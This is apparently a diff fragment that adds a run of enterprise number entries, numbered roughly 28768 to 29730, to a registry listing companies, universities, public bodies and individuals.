+28768 MasterCard WorldWide
+28769 Unison Network Labs
+28770 RJ Landau Partners PLLC
+28771 wolery.net
+28772 Blueberry Consultants Ltd
+28773 Papier & Recycling Logistik GmbH
+28774 Ixaris Systems Ltd
+28775 Expway
+28776 Neuf Cegetel
+28777 Ignos Estudio de Ingenieria S.L.
+28778 Intellistream
+28779 Fox-IT B.V.
+28780 patteran, inc.
+28781 Bowdoin College
+28782 Earmark Media Services
+28783 Venafi
+28784 CER International bv
+28785 Me.Dium, Inc.
+28786 Vidiom Systems, Inc.
+28787 Flex-Networks Inc.
+28788 Quarantainenet BV
+28789 Cory Albrecht
+28790 Poslovno informacioni sistemi, d.o.o.
+28791 SBI Japannext Co Inc
+28792 TotalWire S.r.l.
+28793 Neptuny s.r.l.
+28794 slashconcept GbR
+28795 uPRESTO, Inc
+28796 Haberst Infra AS
+28797 SCBA Expert Service Centre
+28798 JSC "SBERCARD"
+28799 Thales Security Solutions and Services
+28800 QualiConsult Ltda
+28801 FlexStar Technology, Inc
+28802 SMS Tecnologia Eletronica LTDA
+28803 ISCaD GmbH
+28804 L'Occitane SA
+28805 Visionary Networks, Inc.
+28806 Nationwide Children's Hospital (formerly 'Children's Hospital, Inc.')
+28807 Mullins Household
+28808 accom GmbH & Co. KG
+28809 Netwurk Labs
+28810 Desai Electronic Technology (Sichuan) Co., Ltd.
+28811 SMS spol. s r.o.
+28812 DIGITALK Limited
+28813 Alberta-Pacific Forest Industries Inc.
+28814 HEALTHGRID
+28815 Wedjaa
+28816 Supplee Technologies
+28817 Exploreos, Inc.
+28818 St. John Medical Center
+28819 Titan Consulting Group, Inc.
+28820 XUERON.COM
+28821 GreatWall Systems, Incorporated
+28822 ABE ELETTRONICA S.p.A.
+28823 Neta Technologies Inc.
+28824 JPragma
+28825 Bufete de Servicios Informaticos, SA de CV
+28826 Infinite Innovation, Inc.
+28827 TLH Systems
+28828 Oita Computer Engineering & Consulting Ltd.
+28829 BMST Co., Ltd
+28830 ALCON Telecommunications Co., Ltd.
+28831 TurboConsult
+28832 G-cluster Ltd.
+28833 LUFTHANSA TECHNIK AG
+28834 Surecloud
+28835 ACXSYS Botswana
+28836 BERTANA srl
+28837 MVP Health Plan
+28838 ScreenPC
+28839 ZedX, Inc.
+28840 Avcorp Industries Inc.
+28841 Phönix-PACS GmbH
+28842 GJAlves
+28843 Dekeyzer
+28844 Channel Dynamix
+28845 Digital Ocular Networks, Inc.
+28846 Universidad de Malaga
+28847 D&S Networks
+28848 Guangzhou FrameNet Telecommunication Technologies,Co,LTD
+28849 Professional Products Inc
+28850 Felltech Ltd
+28851 Topnordic a/s
+28852 Micro Innovation AG
+28853 Freudenberg Hosting KG
+28854 OOO BB Systems
+28855 PRESCOM
+28856 Concurrent Thinking Ltd.
+28857 Working Today, Inc.
+28858 Public Service Mutual Insurance Company
+28859 Big Fish Games
+28860 GB Development
+28861 Proyecto Conectate al Conocimiento
+28862 Sipcall.com Inc.
+28863 OSS Integrators, Inc.
+28864 Cosmofon AD
+28865 Achievo Deutschland AG
+28866 TRENDnet, Inc.
+28867 Ping Identity Corporation
+28868 Anubisnetworks
+28869 hollaender.net
+28870 Hogskolan i Gavle
+28871 Péter Szűcs
+28872 AGENCE LANDAISE POUR L'INFORMATIQUE
+28873 CHIP Xonio Online GmbH
+28874 Solarflare Communications Inc.
+28875 secom consulting
+28876 Jordan & Jordan
+28877 NRC Systems Ltd
+28878 Seikosha Inc.
+28879 Americanas.com
+28880 Westone Information Industry INC.
+28881 dSigma, LLC (formerly 'dCube Technologies, LLC')
+28882 Michael Eisler
+28883 Tomas Bata University in Zlín
+28884 Kucko
+28885 Spolka Inzynierow SIM Sp. z o.o.
+28886 OQ Chemicals
+28887 LabSET
+28888 UXtechnology B.V.
+28889 NemoQ Iberica, S.A.
+28890 Art Center College of Design
+28891 College of Dunaujvaros (Dunaújvárosi Főiskola)
+28892 Exoweb
+28893 Rihotec Oy
+28894 MAXI VIEW HOLDINGS LIMITED
+28895 Caisse Nationale de Sécurité Sociale Maroc
+28896 BCC GmbH
+28897 nsec
+28898 Securaplane Technologies
+28899 DataStarved.net
+28900 Yasashii Syndicate
+28901 Endicott College
+28902 AnHui University of Technology
+28903 InterFax
+28904 Arius Software
+28905 MeshLinx Wireless, Inc
+28906 Cluenet
+28907 ViASSoL (Virtual Applied Scientific Software Laboratory)(formerly 'ViSSoL (Virtual Scientific Software Laboratory)')
+28908 MUJIN Systems, Inc.
+28909 4A-Securer
+28910 Ansitaly
+28911 CompFort Meridian Polska Sp. z o.o.
+28912 ZURIEL Ltd.
+28913 BitTorrent, Inc.
+28914 Alstom Signaling Operation LLC (formerly 'GE Transportation Systems Global Signaling, LLC')
+28915 Turtlesystems
+28916 Interop Informatica
+28917 Comtica
+28918 InfoPrint Solutions Company
+28919 Borghesia Consulting
+28920 blaulink GbR
+28921 Anchiva Systems, Inc.
+28922 Crescent Group Ltd.
+28923 Luminator Holding, LP
+28924 Megatel Industries Corp.
+28925 BIGLIST Inc.
+28926 Mitteldeutscher Rundfunk
+28927 First Mallorca
+28928 Taylor & Francis Group Ltd
+28929 RASKAT
+28930 Kilowatt S.A.
+28931 MiKe software&network SRL
+28932 NazerFarzan
+28933 Senado de España
+28934 tick Trading Software AG
+28935 Sacred Heart College
+28936 Information Technology ltda
+28937 DASANTPS Inc.
+28938 TAS France
+28939 Governikus GmbH & Co. KG
+28940 IMP Telekom d.d.
+28941 Network Solutions Norway ASA
+28942 Amperion South East
+28943 Inter Clamp Management AG
+28944 Meyer Associates, Inc
+28945 nome consulting ltd
+28946 E-Band Communications Corp
+28947 Trillenium Works
+28948 VeePee
+28949 Ownage, Inc.
+28950 Virtual U at Union College
+28951 IP Fjarskipti
+28952 Cypress Solutions Inc.
+28953 AiNETEK CO.,Ltd.
+28954 And-Or Logic
+28955 9 to 5 Magic
+28956 Allen Martin Ltd
+28957 Institut für Graphische und Parallele Datenverarbeitung, Universität Linz
+28958 SNAPin Software, Inc.
+28959 Fargo Electronics, Incorporated
+28960 resolux
+28961 PIAX Project
+28962 Down to Earth Systems
+28963 deyeb
+28964 futbag
+28965 KOSnet-EDV
+28966 37signals, LLC
+28967 Optosecurity Inc.
+28968 Affinitic s.p.r.l
+28969 Dana Koch
+28970 Digitec Systems
+28971 Incontech Ltd
+28972 Keio University
+28973 Landschaftsverband Rheinland (formerly 'LVR InfoKom')
+28974 Belarusbank
+28975 GSI Europe SL
+28976 Intersys Sistemas Interactivos
+28977 NovusEdge
+28978 Canonical Ltd
+28979 MwGhennndo
+28980 Leiden University, Faculty of Science
+28981 TKRJasek
+28982 Pachi
+28983 TechBase Sp. z o.o.
+28984 Universidade Federal de Mato Grosso do Sul
+28985 Staples, Inc.
+28986 FNMS Project
+28987 marsldap
+28988 icanetix Software Systems and Consulting GmbH
+28989 Sociedad Mutual "Seguro de Vida"
+28990 PrivateMonitoring
+28991 Ghz Soluções em Informatica Dracena LTDA ME
+28992 American Century Proprietary Holdings, Inc.
+28993 PCM LLC I
+28994 LiveSquare
+28995 Dresser Wayne, Dresser Inc.
+28996 JAE Enterprises
+28997 south china university of technology
+28998 Pine Tree Systems
+28999 Voible Communications Ltd
+29000 Markus-Alexander Matthé
+29001 TRISKEL TELECOM SL
+29002 PGGM
+29003 Fibernet International
+29004 La Voz de Galicia
+29005 Joint Stock Company "Scientific & Production Enterprise "ORBITA"
+29006 Vocalink Limited
+29007 R&D ScanEx
+29008 Kaya Software, LLC
+29009 Mirth Corporation (formerly 'WebReach, Inc.')
+29010 National Bank Of Kuwait
+29011 HeBIS
+29012 Quality Technology Services
+29013 Teldat Sp.J. H. Kruszyński, M. Cichocki
+29014 Intellengine
+29015 Keitai Gaming (formerly 'TallTele')
+29016 Professional Partnership Ltd
+29017 Buda
+29018 Network Security Solutions d.o.o.
+29019 ACK Networks, Inc.
+29020 Marco Aspromonti
+29021 MUGLER AG
+29022 Dorstewitz
+29023 FaMAF - Facultad de Matematica, Astronomia y Física - Universidad Nacional de Cordoba - Argentina
+29024 OSERYS Systèmes
+29025 RECRO-net d.o.o.
+29026 GUZMAN
+29027 NETFINITY EAD
+29028 Jerry Chapman
+29029 Altierre Corporation
+29030 Ringier Slovakia, a.s.
+29031 ILSC
+29032 Creative Industries
+29033 4DK Technologies, Inc.
+29034 Common Sense IT-Consulting GmbH.
+29035 kymz online page
+29036 CACI International Inc
+29037 MooL Invest Kft.
+29038 ICEGEL Kft.
+29039 Otis College of Art and Design
+29040 CX computers & consulting, s.r.o.
+29041 SmartOfficeBuilding
+29042 Toppan
+29043 Peek&Cloppenburg KG
+29044 Digital Alert Systems
+29045 Camp Dresser and McKee, Inc.
+29046 The Boston Consulting Group, Inc.
+29047 GigaFin Networks
+29048 Vianet International Ltd
+29049 Sichuan Xinhua Winshare Chainstore Co.,Ltd.
+29050 Korcett Holdings, Inc.
+29051 DAIKON Integracion y Desarrollo S.L.
+29052 Defzone B.V.
+29053 Intellio Ltd.
+29054 Bluebell Opticom Limited
+29055 American International Distribution Corporation, Inc.
+29056 logicfish.org
+29057 Universitaet fuer Bodenkultur, Wien (BOKU)
+29058 Neology Corporation
+29059 FAL Solutions
+29060 Schnapper Vision Studios
+29061 AFORE Solutions, Inc.
+29062 HEAnet Limited
+29063 Patrick McDonnell
+29064 ODDO & CIE
+29065 vzcs
+29066 enovatia
+29067 The Loop Communications
+29068 OpenSource Training Ralf Spenneberg
+29069 HartmannSoft
+29070 Conversion Co., Ltd.
+29071 ON DEMAND Microelectronics AG
+29072 Neopost
+29073 Western Avionics
+29074 Epic Aviation, LLC
+29075 Oncology & Hematology Associates of Southwest Indiana, P.C.
+29076 CP Sharing
+29077 Gentgeens Lodge
+29078 SynapSense Corporation
+29079 Cryptologic Inc.
+29080 Kiong Software
+29081 ISI.NC
+29082 L2C2 Technologies
+29083 PKO BP SA
+29084 OVH
+29085 Conergy AG
+29086 Bethlehem Lutheran School
+29087 roullier
+29088 SpinVox Ltd.
+29089 Intec Software Solutions
+29090 Sendza, Inc.
+29091 FriendlySNMP
+29092 Wirama
+29093 Stekfon
+29094 Aquarius Telecom Technologies
+29095 AeroSat Avionics LLC
+29096 NewACT Ltd.
+29097 TRIGLAV, Zdravstvena zavarovalnica, d.d.
+29098 DRM Digital Radio Mondiale
+29099 Larimart S.p.A.
+29100 Lithustech Sistemas Eletrônicos LTDA.
+29101 Interstate Gas Supply
+29102 Cargill Inc.
+29103 Naropa University
+29104 Felix Tiede
+29105 Intelleflex Corp.
+29106 Xangati
+29107 Key Solutions
+29108 Enleiten Inc.
+29109 Hoover Treated Wood Products, Inc.
+29110 Woodside Fabrics Limited
+29111 Beijing Poweron Technologies Co., Ltd.
+29112 Biblioteca de Catalunya
+29113 Bank Pekao S.A.
+29114 SecureW2
+29115 ECCO Sko A/S
+29116 Instituto Politecnico de Setubal
+29117 Xembedded, Inc.
+29118 BOSSIO SOLUTIONS & SERVICES SL
+29119 Joint Stock Company All-Russian Scientific Research Institute of Television and Radio Broadcasting
+29120 SYSOON SARL
+29121 NZN
+29122 TCX Computer Technology
+29123 Jalasutram, Inc.
+29124 IMAGENICS Co,Ltd.
+29125 Advance Interactive Technologies Pte. Ltd
+29126 Osterholm & Associates
+29127 SV Corporation
+29128 Mindwell Technologies
+29129 dg-solutions
+29130 Lithuanian Academy of Physical Education
+29131 PERSONAL_JG
+29132 CalNet
+29133 VoiceCollect GmbH
+29134 SpeedXS
+29135 Salvadè S.r.l.
+29136 Toys R Us Corporation
+29137 michaelgerzabek.com(R)
+29138 TWIC Root
+29139 UNICOM DATA GROUP TECNOLOGIA LTDA
+29140 ONEDOC AB
+29141 LiveOps
+29142 ViewPlus Technologies, Inc.
+29143 CableWorld Ltd.
+29144 Unassigned
+29145 K&P Computer GmbH
+29146 SwapsWire Ltd
+29147 Proficient Technology
+29148 Axolotl Corp.
+29149 data inform srl
+29150 COMLAB AG
+29151 Live Data Group, inc.
+29152 Palo Alto Unified School District
+29153 Ridgecrest Financial, Inc.
+29154 Electromagnetic Technologies Industries Inc.
+29155 Tews Technologies GmbH
+29156 Byte Dynamics, SRL
+29157 Bytemark Hosting
+29158 Alinea Software Solutions SL
+29159 Nodak Flying Club, Inc.
+29160 L2 Enterprises
+29161 Hidden-City.NET
+29162 china lottery online co. ltd.
+29163 darrow.com
+29164 EnabledPeople LLC
+29165 Antech
+29166 NetQoSt
+29167 ISTEC GmbH
+29168 T-Mobile International
+29169 LLC "Astelit"
+29170 Interactive Quality Services Inc.
+29171 ESET, spol. s r.o.
+29172 Bresnan Communications, LLC.
+29173 InSpatial LLC
+29174 rPath, Inc.
+29175 phasma.nl
+29176 FIRST RABBIT GmbH
+29177 Umlautus
+29178 California State University, Bakersfield
+29179 Aginova Sàrl
+29180 Ponsse Oyj
+29181 Ecole de techologie superieure
+29182 AMI dept, Sensus Metering Systems, Inc.
+29183 6PIXIES International
+29184 Humor Rainbow, Inc
+29185 Digital Fountain Inc.
+29186 Innovative IT Architects. LLC
+29187 Revelation TV
+29188 Wavex Technologies Pte Ltd
+29189 Roadside
+29190 Valyd Technologies Pvt Ltd
+29191 Dynatech s.r.o.
+29192 OpusVL
+29193 Fabrix TV LTD.
+29194 Shelby County Board of Education
+29195 ZeelandNet b.v.
+29196 Lattice, L.L.C.
+29197 Kaazing Corp.
+29198 PhR
+29199 TERADA ELECTRIC WORKS CO.,LTD
+29200 UNETsystem Co., Ltd.
+29201 Rawenstvo OJSC
+29202 Hari Sekhon
+29203 Grupo Santander
+29204 Senex Technologies Inc.
+29205 NewMedia-NET GmbH - Division dd-wrt
+29206 vargo.us
+29207 Rescentris, Inc.
+29208 Zandanel Informationstechnologie
+29209 Hermann Ehlers Haus
+29210 KARCHER & LADWEIN Ingenieurpartnerschaft fuer Bautechnik
+29211 DiOmega GmbH
+29212 HOV Services, LLC
+29213 ARBU
+29214 Dairiki Solutions
+29215 Eyeball Networks Inc.
+29216 Onode Server Project
+29217 Grant Street Group, Inc.
+29218 The ALPHAVICTOR® Companies
+29219 Wuille bvba
+29220 Ciputra Group
+29221 Enforta
+29222 Weisser
+29223 Stadtverwaltung Bornheim
+29224 CoreTrek AS
+29225 Marko Karg
+29226 BERGERAT MONNOYEUR LOCATION
+29227 Criticall Limited
+29228 Distributed Medical Sverige AB
+29229 OutServ, Inc.
+29230 Direction Générale de l'Aviation Civile
+29231 Confédération Française Microtel Multimédia
+29232 coreIPM
+29233 MCL, Inc.
+29234 Titan Publishing Group Limited
+29235 Protey
+29236 APHP Beclere
+29237 New Hampshire Employment Security
+29238 AdBrite, Inc.
+29239 SYSTEMSKILLS COMPUTER TECHNICAL SERVICES LTD.
+29240 HID Global
+29241 Spry Hosting
+29242 Peabody Energy
+29243 Resolve Systems
+29244 Lime Wire LLC
+29245 Commonwealth of Pennsylvania, Governor's Office of Administration
+29246 KnowledgeTrax, LLC
+29247 Secioss Corporation
+29248 Wanmi Telecom Technologies Co.,Ltd
+29249 Revue VTK vzw
+29250 EPM expert
+29251 LNM IIT
+29252 Server System Infrastructure (SSI)
+29253 KBK Consultant
+29254 Pulsar Mobile Sp. z o. o.
+29255 HRZ Zittau/Görlitz
+29256 HALLESCHE Krankenversicherung auf Gegenseitigkeit
+29257 Fedasil
+29258 Mittelrhein-Verlag GmbH
+29259 California State University, Chico
+29260 Tempest Security Intelligence
+29261 emQbit
+29262 cybermah.com
+29263 Max Planck Institute of Biochemistry
+29264 apc interactive solutions ag
+29265 KIRP GmbH
+29266 xvpn
+29267 Teleologic Learning Company
+29268 Unitarian Universalist Association
+29269 SiteXs Netzwerkloesungen & IT-Consulting GmbH
+29270 Rogers West
+29271 OBS Technology
+29272 Biological and Popular Culture, LLC
+29273 GCS Software & Consulting e.U.
+29274 BusinessFabric Inc
+29275 Autometrix Precision Cutting Systems
+29276 Wizards Internet Limited
+29277 BookieStreet, Ltd.
+29278 Dima Technologies Co.,Ltd
+29279 WuXi ZhongXing Optoelectronics Technology Co., Ltd.
+29280 Widgets
+29281 Trelleborgs Hamn AB
+29282 Azuki Software
+29283 dscnet.org
+29284 Axxana
+29285 Aquanasoft
+29286 Imagine Communications
+29287 Finite Communication Inc.
+29288 Altus Networks Inc
+29289 Advertising.com
+29290 WeGo Health, Inc
+29291 SECRETARIA DE LA FUNCION PUBLICA
+29292 Ubiquitous Systems Ltd
+29293 Royal Roads University
+29294 Meshweave
+29295 IMESC
+29296 IDX Company, Ltd.
+29297 Shenzhen vStrong technology Co.,Ltd.
+29298 Ador Powertron Ltd.
+29299 Zarovs Stelsels Bk
+29300 SSI Schaefer Peem GmbH
+29301 Braxtel Communications Inc
+29302 eSI Mobile Solutions. S.L.L (GENAKER)
+29303 Telappliant Ltd.
+29304 Services for Business IT Ruhr GmbH
+29305 IPFIX Reverse Information Element Private Enterprise
+29306 Useful Networks
+29307 Loki Industries
+29308 RPGfiction
+29309 IBM Mittelstand Systeme
+29310 William Petersen Elektronik A/S
+29311 Itay Be'erli
+29312 B&R Industrial Automation GmbH
+29313 GloboTech GmbH
+29314 WDV GmbH
+29315 VAUDE Sport GmbH & Co. KG
+29316 Astute Networks, Inc.
+29317 Global Technology Inc.
+29318 Doquent Inc
+29319 NTT Communications Corporation
+29320 regio iT aachen gmbh
+29321 IBL Software Engineering, Ltd.
+29322 Cabinplant A/S
+29323 Lesun Technologies Co.,Ltd
+29324 Voxy Communications
+29325 Worshipworks Ministries International
+29326 IBM Rational
+29327 barrang
+29328 The Stable Group
+29329 Trade Me Ltd
+29330 Cryptic Studios
+29331 Swan Island Networks, Inc.
+29332 Frank Meisschaert
+29333 JBlade LLC
+29334 Provider.nl
+29335 Zajil International Telecom K.C.S.C.
+29336 Bombardier Transportation (Signal) Germany GmbH
+29337 Bynari
+29338 Kestrel Wireless, Inc.
+29339 3guppies.com
+29340 joncaves.com
+29341 Ingenieurbuero Schmid
+29342 Browave Inc.
+29343 Grundig SAT-Systems GmbH
+29344 ShangHai HuaBo Taifu Internet Technology Co.,Ltd
+29345 Softing AG
+29346 UKN Group Limited
+29347 Amadeus Global Travel Ltd.
+29348 RotaBanner Next
+29349 mediagrids plc
+29350 Remuda Ranch Center for Anorexia & Bulimia Inc.
+29351 Fallibroome High School
+29352 IBEX Technology Co.,Ltd.
+29353 Brewer Science, Inc.
+29354 Health Dialog Services Corporation
+29355 PING e.V.
+29356 Montville Enterprises LLC
+29357 Fenster Software
+29358 Zlango
+29359 Industrie Dial Face S.p.A.
+29360 AMS Media Sverige AB
+29361 Magma
+29362 Tomizone Limited
+29363 CHCLab.net
+29364 Applied Electro-Magnetics P. Ltd
+29365 Penta Investments, a.s.
+29366 BMI spa
+29367 Dreamlab Technologies AG
+29368 IASC
+29369 Tom Collins L.L.C.
+29370 Daniel Mandler
+29371 CDC Arkhineo
+29372 BidiX
+29373 Dillet.net
+29374 elegiac
+29375 Selekron Microcontrol s.l.
+29376 Trägerverein Bürgernetz Bamberg e.V.
+29377 Make-A-Byte, Inc.
+29378 Unium (formerly 'CoCo Communications Corp.')
+29379 Lostar Bilgi Guvenligi A.S.
+29380 Beekhul Holdings Pty Ltd
+29381 McNeese State University
+29382 Dedalus S.p.a.
+29383 sysview Inc
+29384 PD Consulting and Security
+29385 ANS
+29386 Zetes 3iV CC
+29387 enovance
+29388 Activant Solutions
+29389 LOGIKonline Inc.
+29390 Digital IMS
+29391 Strategic Data Pty Ltd
+29392 a3 systems GmbH
+29393 AETA AUDIO SYSTEMS
+29394 Centre Hospitalier Régional Universitaire de Lille
+29395 Pheedo, Inc.
+29396 VeriSat AS
+29397 Engineering System Solutions
+29398 Workscape
+29399 SIDSA
+29400 OKC AG
+29401 Fullnet, Inc.
+29402 HELEX
+29403 COMWAX
+29404 Intelligens Rendszerek Divizio Kft.
+29405 Unicel do Brasil Telecomunicações LTDA
+29406 Connectbeam
+29407 Portal Andres Jadan
+29408 KEPCO
+29409 Innovation Wireless Inc.
+29410 Firesteel Technologies, Inc
+29411 Instituto de Tecnologia da Informação e Comunicação do Estado do Espírito Santo - PRODEST
+29412 Prodea Systems
+29413 Access Layers LTD
+29414 Opengate Data Systems
+29415 Autentia Real Business Solutions
+29416 ORBIT TECHNOLOGY GROUP
+29417 Felix Schwarz Software-Entwicklung
+29418 Tracenetwork Corporation Sdn. Bhd.
+29419 Kapital Insurance Group
+29420 West Bengal University of Technology
+29421 Kargo Global Inc
+29422 Support Soluções em Informática LTDA
+29423 2V S.r.l.
+29424 Embryo Web Solutions Ltda
+29425 Materiales Electricos y Mecanicos - MEM Ltda
+29426 State of Mind
+29427 EZSAFE
+29428 IKOEmed
+29429 SynergyRT
+29430 HMS GmbH
+29431 FaithFamily Academy
+29432 Hurco Automation Ltd.
+29433 Digma Inc.
+29434 MRK - Media AG
+29435 Wisekey ELA
+29436 Central Technology Services
+29437 HNP
+29438 ARAMEX International Ltd.
+29439 Untold Structures P/L
+29440 Université Louis Pasteur - UFR de Mathématique et d'Informatique
+29441 Quanzhou Normal University
+29442 ARISE
+29443 ShangHai RuiGao InformationTechnologies Co.,Ltd
+29444 Sondara Solucions
+29445 Integra S.r.l.
+29446 Telematik Design
+29447 Nordic Growth Market NGM AB
+29448 Gloucester Research Ltd
+29449 Resolvity, Inc
+29450 Digistar Telecomunicações S.A.
+29451 Interop Technologies
+29452 DigitalPersona, Inc.
+29453 Brendt Peter
+29454 O.D.S., Inc.
+29455 CRAHAY.EU
+29456 modas mobile Datensysteme GmbH
+29457 Peer Fusion, Inc.
+29458 ACETEL
+29459 Gobierno de Aragón
+29460 Red Bee Media
+29461 Authentity - Certificaton Entity
+29462 Stulz GmbH Klimatechnik
+29463 Axigen Messaging (formerly 'GECAD Technologies')
+29464 Inverse groupe conseil
+29465 Aaron Von Gauss
+29466 The Nation Traffic
+29467 Fire Breathing Robot Systems
+29468 Fruhen Infotec
+29469 Freber Enterprises
+29470 DAX Technologies Corp
+29471 VibiT BVBA
+29472 Grinning Fool Productions
+29473 Humanity Forward
+29474 CHINA NETCOM GROUP BROADBAND SERVICE APPLICATIONS LIMITED CORPORATION FOR NATIONAL ENGINEERING LABORATORY
+29475 ADILEC S.L.
+29476 Viliam Trepák - NETCOM
+29477 Markas-Al-Nour
+29478 University of Chicago, Graduate School of Business
+29479 hc Consulting
+29480 Barash Communication Technologies Inc. (BCTI)
+29481 Cambridge Semantics Inc
+29482 Excell Battery Company
+29483 Proformatique
+29484 DevGuy
+29485 SMART Technologies ULC
+29486 Roundysoft
+29487 Beijing LHWT Microelectronics Inc
+29488 Jeremy Jones
+29489 SlitherSoft
+29490 Protech s.a.s.
+29491 John Wiley & Sons, Inc.
+29492 Pischows
+29493 Limestone College
+29494 State of Maine Government
+29495 Siteworx, Inc.
+29496 Marc Suttle
+29497 Carbon Planet Pty Ltd
+29498 Probin
+29499 Unassigned
+29500 StorageSwitch
+29501 Algolith Inc.
+29502 MDIT Innovations Inc
+29503 GeniNetworks
+29504 Biometria ek. för.
+29505 Resercom, L.P.
+29506 Telepin Software
+29507 InCoDe
+29508 Pfadfinder & Pfadfinderinnenbund Nordlicht e.V.
+29509 Naftna Industrija Srbije a.d. Novi Sad
+29510 ZipTie
+29511 HITACHI Hi-System21 Co.,Ltd. Minami-Team
+29512 Integral Sistemas
+29513 MvpZone
+29514 NewLines Ltd.
+29515 Korea Institute of Science and Technology (KIST)
+29516 UUDynamics, Inc.
+29517 AuxalNet
+29518 Drew Hess
+29519 Urząd Zamówień Publicznych
+29520 DOMOD
+29521 Omega Design, s.r.o.
+29522 Unix Systems Management Pty Ltd
+29523 IE Internet.com Limited
+29524 Dubai Duty Free
+29525 Ukrainiain industrial
+29526 EBI consulting
+29527 Spangenberg Consulting
+29528 TOEL Electronics Ltd.
+29529 CPS Technologies
+29530 New Medical Co.,LTD.
+29531 K3-NETWORKS
+29532 Pacific West Association of Realtors
+29533 NSSE SSC Charleston
+29534 the hive
+29535 BKMKS.COM
+29536 SKY Perfect JSAT Corporation (formerly 'Space Communications Corporation')
+29537 Velox
+29538 Celeonet
+29539 Lockview
+29540 B-204-1
+29541 City of Roseville - Information Technology Department
+29542 BroadcastWebs LLC
+29543 Inqnet GmbH
+29544 University of Montenegro
+29545 Open Source Business Group
+29546 Soft- & Hardware Beratung Ebeling
+29547 Thomas Neumann
+29548 4Com GmbH
+29549 EDS France SAS/D3SP
+29550 Efectivos de Tecnicas, S.A.
+29551 Dust in the net
+29552 Three Palm Software LLC
+29553 Habegger AG
+29554 pouik.org
+29555 CMB Consulting
+29556 TechMind Ltd.
+29557 Titus International Inc
+29558 Titus Labs Inc
+29559 Late-Hours
+29560 SBE network solutions GmbH
+29561 Yuston BV
+29562 Sophelios BVBA
+29563 MITANI CORPORATION
+29564 Opensquad SARL
+29565 DCMSYS LLC
+29566 OH San Juan de Dios. Provincia Betica
+29567 Central Informatics Organisation
+29568 Integro Technologies Private Limited (Singapore)
+29569 Senselogic AB
+29570 Oak Ridge Associated Univerisites
+29571 Mirasys
+29572 Apotex Inc
+29573 Laredo IT
+29574 PowerCore Engineering
+29575 Alexander Badent (none)
+29576 Kilgour
+29577 gateProtect AG, Germany
+29578 STN BV
+29579 42media group GmbH
+29580 Viyya Technologies Inc.
+29581 Axiomatica
+29582 Nativ Systems Ltd
+29583 Angelo State University
+29584 Tom Link
+29585 Comsec TR Pty. Ltd.
+29586 USG People International N.V.
+29587 Zadig Srl
+29588 EGOS! The Education Company
+29589 Wanari Kft.
+29590 Lileo Scop Sarl
+29591 OpenSS7 Corporation
+29592 Corporate Big
+29593 Bolkhuis
+29594 San Jose State University
+29595 Drury Hotels Corporation
+29596 CMP Audiovisual
+29597 Nextfour Group Ltd
+29598 NSI Hosting, Inc.
+29599 Torokina Networks
+29600 International Islamic University Malaysia
+29601 Aricent Communication (Holdings) Ltd.
+29602 ALTASIS DI CASTIGLIEGO MICHELE
+29603 Kenoxa GmbH
+29604 Diverse Computing, Inc.
+29605 CellGain
+29606 Econoprint, Inc.
+29607 Reverb Networks, Inc.
+29608 pelzel
+29609 Apogee Labs, Inc.
+29610 Secure Process
+29611 Clonewars.org
+29612 Wi-Links
+29613 Ethos-Networks
+29614 Aug. Hedinger GmbH & Co. KG
+29615 29West, Inc.
+29616 reynald.org
+29617 SyTech
+29618 Region Syddanmark
+29619 Johannes Oechsle LAN-Party Netzwerkausruester
+29620 Gamesys Ltd
+29621 BIOS Corporation
+29622 Megafon OJSC
+29623 Banque du Liban
+29624 RIMOC GmbH
+29625 Sagi Mehadave
+29626 TeleDesign PLC
+29627 IDpendant GmbH
+29628 n2N Commerce
+29629 Legg Mason, Inc.
+29630 ONE-ANS S.p.A
+29631 iptego GmbH
+29632 Seko Worldwide
+29633 Peleton Photonic Systems
+29634 Dom Inwestycyjny BRE Banku S.A.
+29635 Dealer Information Systems Corporation
+29636 SecureMedia
+29637 TrinitySoft Co.,Ltd.
+29638 NovaTec Kommunikationstechnik GmbH
+29639 The Electric Sheep Company, Inc.
+29640 AP Nederland BV
+29641 Hostworks Group Ltd
+29642 exxact
+29643 Winkwaves
+29644 Antony Vennard
+29645 bothan.net
+29646 VisiWear AS
+29647 Virtual Broadband Technology, Inc.
+29648 QuoPin
+29649 Infoton Corporation
+29650 Georg Simon GmbH
+29651 vidIP
+29652 Shook Hardy & Bacon LLP
+29653 Overstock.com Inc
+29654 Freedom Networks
+29655 Kirishi Glass Plant Ltd
+29656 phaseDOT IT-Business-Solutions
+29657 VTG Deutschland GmbH
+29658 Fundacion Integra
+29659 Carestream Health
+29660 AFCO Systems
+29661 Fulcrum Analytics, Inc.
+29662 cron IT GmbH
+29663 Embedded X Inc
+29664 Packet General Networks, Inc.
+29665 Protractor Software, Inc.
+29666 Lunixtreme
+29667 Destiny Solutions
+29668 Kirei AB
+29669 Firstlight Networks
+29670 Medflow Inc.
+29671 Meraki Networks, Inc.
+29672 CSK WinTechnology Corporation
+29673 M3 Design Inc.
+29674 thewolfe.net, llc.
+29675 alemo kommunikations GmbH
+29676 net plus tecnolodgy
+29677 Sensata Technologies - Power Controls WBL
+29678 Absolute, Ltd.
+29679 VoiSmart S.r.l. (formerly 'Espia Srl')
+29680 Atlantux Consultores S.L.
+29681 AFPy
+29682 DMO Technologies
+29683 CopperEye Ltd
+29684 Pioneer Magnetics Inc.
+29685 eVision Pty Ltd
+29686 Bharat Electronics Ltd.
+29687 Absolute Performance, Inc.
+29688 Axstor
+29689 Ekplek
+29690 Doctor Web, Ltd
+29691 Silver Wave Technology Limited
+29692 Globesy, s.r.o.
+29693 Cobalt Digital
+29694 Tethers Unlimited, Inc.
+29695 REWSS A/S
+29696 CitiFinancial Consumer Finance India Ltd.
+29697 Leeds Primary Care Trust
+29698 NBG ID
+29699 Cetis d.d.
+29700 Got Linux, Inc.
+29701 PMD GmbH
+29702 Eckard Vossas Unternehmensberatung
+29703 Stuart Morgan
+29704 Carlos Perello Marin
+29705 SNOLAB
+29706 Mapsolute GmbH
+29707 Business & Engineering Systems Corp
+29708 InfoStream Technologies
+29709 Argibel Servicios Digitales S.L
+29710 London Borough of Camden
+29711 802automation Ltd
+29712 m-sys EDV-Dienstleistungen
+29713 LTECH
+29714 Kyocera Communication Systems Co.Ltd
+29715 Zavod za zdravstveno zavarovanje Slovenije
+29716 Concilio Networks
+29717 RealDolmen (formerly 'Dolmen Computer Applications')
+29718 Technological Educational Institution of Athens (T.E.I. of Athens)
+29719 MICROPLEX Printware AG
+29720 xyco technologies AG
+29721 BI-LO, LLC
+29722 TimeCost
+29723 IMAX Corp.
+29724 RPC Packaging
+29725 InConcertCC
+29726 Rottenbytes
+29727 John Zornig
+29728 Planex Technologies S.A.
+29729 Logesta Gestion del Transporte S.A.
+29730 MADEK, Ltd.
